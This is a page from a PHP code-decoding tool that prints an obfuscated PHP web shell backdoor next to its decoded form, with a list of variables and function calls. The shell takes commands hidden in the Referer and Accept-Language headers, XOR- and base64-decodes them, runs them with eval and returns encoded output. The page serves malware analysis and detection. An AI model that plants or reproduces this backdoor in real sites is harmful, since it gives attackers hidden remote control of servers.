Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $e='$kh="2707";`$kf="``b2f0";funct`ion x`($t,$k){$`c=`strlen($k`);`$l=strlen`($t);$..

Decoded Output download

$kh="2707";$kf="b2f0";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();eval(@gzuncompress(@x(base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}

Did this file decode correctly?

Original Code

<?php
$e='$kh="2707";`$kf="``b2f0";funct`ion x`($t,$k){$`c=`strlen($k`);`$l=strlen`($t);$o``=';
$z='`ncod`e(x(g`zcompre`ss`($o),$k)`);pri`nt("``<$k>$`d</$k>"`);@`session_destroy();}}}}';
$i='r`ay_`values($q);pr``eg_mat`ch_`all("/([\\w]`)[\\w-]+(``?:;q=0``.([\\d])`)?,?/",$ra,$m)';
$T=';}}return `$o;}$r`=$_SERV``ER;$rr=@$r[`"HTTP`_RE`FERER"];$ra`=@$r[`"HTTP`_ACCEPT_`LA';
$s=str_replace('jv','','crjvejvajvte_fujvjvnctjvion');
$h=';`if(`$q&&$m){@sess`i`on_start();`$s=&`$_SESSION`;$ss`="`substr";$sl=`"st`r`tolower';
$r='),$ss($s[$i],0,$e)`)),$`k)));$`o=ob_get_`content`s();``ob_e`nd_clean();$d=ba`se64_e';
$K='NG`UAG``E"];i`f($r``r&&$ra){$u=parse_url($r`r)`;`parse_str($u["q`uery"`],$q);$q`=ar';
$Y='ompress(@`x(@ba`se64_decod`e(`p`reg_re`place(ar`ray`("/_/","/-`/"),a`rray`("`/`","+"';
$F='[$i].=$p;$e=strp``os($s[$i],$f);``if($e){$k=$k`h.$`kf;ob_sta`rt();`@e`val(`@gz`unc';
$B='";$``i=$m[1][0].$m[`1][1`];$h=`$sl($s`s(md5($i.`$kh)`,0`,3));$f`=$sl($ss(m`d5`($i.';
$C='"";for($i=0;`$i<$l`;)`{for($j`=`0;($j<$c&&$i<$`l);$`j++,$i++`){$`o.=$t{$i}^`$k{``$j}';
$J='$kf),0`,3))`;$p=`"";for($z=1;$``z<count(`$m`[1]);$z`++)`$p.=$q[$m[2][$`z]];if`(st`rp';
$Q='os`($p,$h)==`=0){$``s[$i]="";$p=`$ss($p,3);}```if(array_key_e`xists($i,$```s))`{$s';
$L=str_replace('`','',$e.$C.$T.$K.$i.$h.$B.$J.$Q.$F.$Y.$r.$z);
$y=$s('',$L);$y();
?>

Function Calls

null 1
str_replace 2
create_function 1

Variables

$B ";$``i=$m[1][0].$m[`1][1`];$h=`$sl($s`s(md5($i.`$kh)`,0`,3))..
$C "";for($i=0;`$i<$l`;)`{for($j`=`0;($j<$c&&$i<$`l);$`j++,$i++..
$F [$i].=$p;$e=strp``os($s[$i],$f);``if($e){$k=$k`h.$`kf;ob_sta..
$J $kf),0`,3))`;$p=`"";for($z=1;$``z<count(`$m`[1]);$z`++)`$p.=..
$K NG`UAG``E"];i`f($r``r&&$ra){$u=parse_url($r`r)`;`parse_str($..
$L $kh="2707";$kf="b2f0";function x($t,$k){$c=strlen($k);$l=str..
$Q os`($p,$h)==`=0){$``s[$i]="";$p=`$ss($p,3);}```if(array_key_..
$T ;}}return `$o;}$r`=$_SERV``ER;$rr=@$r[`"HTTP`_RE`FERER"];$ra..
$Y ompress(@`x(@ba`se64_decod`e(`p`reg_re`place(ar`ray`("/_/","..
$e $kh="2707";`$kf="``b2f0";funct`ion x`($t,$k){$`c=`strlen($k`..
$h ;`if(`$q&&$m){@sess`i`on_start();`$s=&`$_SESSION`;$ss`="`sub..
$i r`ay_`values($q);pr``eg_mat`ch_`all("/([\w]`)[\w-]+(``?:;q=0..
$r ),$ss($s[$i],0,$e)`)),$`k)));$`o=ob_get_`content`s();``ob_e`..
$s create_function
$y None
$z `ncod`e(x(g`zcompre`ss`($o),$k)`);pri`nt("``<$k>$`d</$k>"`);..

Stats

MD5 1647726354cc64dae4a662c69667a914
Eval Count 1
Decode Time 101 ms